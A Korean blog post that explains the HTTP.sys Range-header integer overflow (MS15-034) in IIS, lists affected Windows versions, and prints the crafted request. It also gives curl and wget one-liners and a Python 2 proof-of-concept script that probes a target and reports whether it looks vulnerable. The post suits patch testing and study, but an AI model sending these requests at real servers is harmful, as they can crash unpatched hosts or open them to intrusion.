HTTP.sys Remote Code Exploit(CVE-2015-1635/MS15-034) 취약점

최근 이슈가 됬었던 MS 보안패치 중 HTTP.sys Remote Code Exploit(CVE-2015-1635/MS15-034)에 대한 이야기가 있었습니다. 공격자가 HTTP 헤더를 조작하여 취약한 시스템에 이상을 발생시키는 취약점이며 윈도우 계열 서버인 IIS에서 가능하며, 어느정도 이슈가 있었던 것으로 보입니다.

HTTP.sys

HTTP.sys 는 HTTP 요청을 처리하는 커널 모드 드라이버이며 해당 부분에서 integer overflow 를 통해 원격코드 실행이나 블루스크린 유발이 가능합니다.

CVSS 점수 (version 2.0)

CVSS v2 Base Score: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend) Impact Subscore: 10.0 Exploitability Subscore: 10.0 CVSS Version 2 Metrics: Access Vector: Network exploitable Access Complexity: Low Authentication: Not required to exploit Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

취약 버전

  • Configuration 1
  • OR
  • cpe:/o:microsoft:windows_7::sp1:x64
  • cpe:/o:microsoft:windows_7::sp1:x86
  • cpe:/o:microsoft:windows_server_2008:r2:sp1
  • cpe:/o:microsoft:windows_8:-::~~~~x64~
  • cpe:/o:microsoft:windows_8:-::~~~~x86~
  • cpe:/o:microsoft:windows_8.1:-:-:~-~-~-~x64~
  • cpe:/o:microsoft:windows_8.1:-:-:~-~-~-~x86~
  • cpe:/o:microsoft:windows_server_2012:-:gold
  • cpe:/o:microsoft:windows_server_2012:r2:-:~-~datacenter~~~
  • cpe:/o:microsoft:windows_server_2012:r2:-:~-~essentials~~~
  • cpe:/o:microsoft:windows_server_2012:r2:-:~-~standard~~~

Vulnerability

GET / HTTP/1.1
Host: vuln host
Range: bytes=0-18446744073709551615

웹 요청 시 위와 같이 Range에 숫자 값을 주어 UlAdjustRangesToContentSize 부분에 오버 플로우를 발생시킵니다. 오버플로우 발생 시 UlAdjustRangesToContentSize에 대한 길이 체크 부분에 대해 우회가 가능합니다.

공격방법이 간단하기 때문에 간단하게 스크립트를 작성하거나, curl, wget 등을 이용하여 테스트가 가능합니다.

curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"
wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/

Python POC(http://pastebin.com/ypURDPc4)

import socket
import random

ipAddr = ""
hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
                print "[*] Not IIS"
                exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
                print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
                print "[*] Looks Patched"
else:
                print "[*] Unexpected response, cannot discern patch status"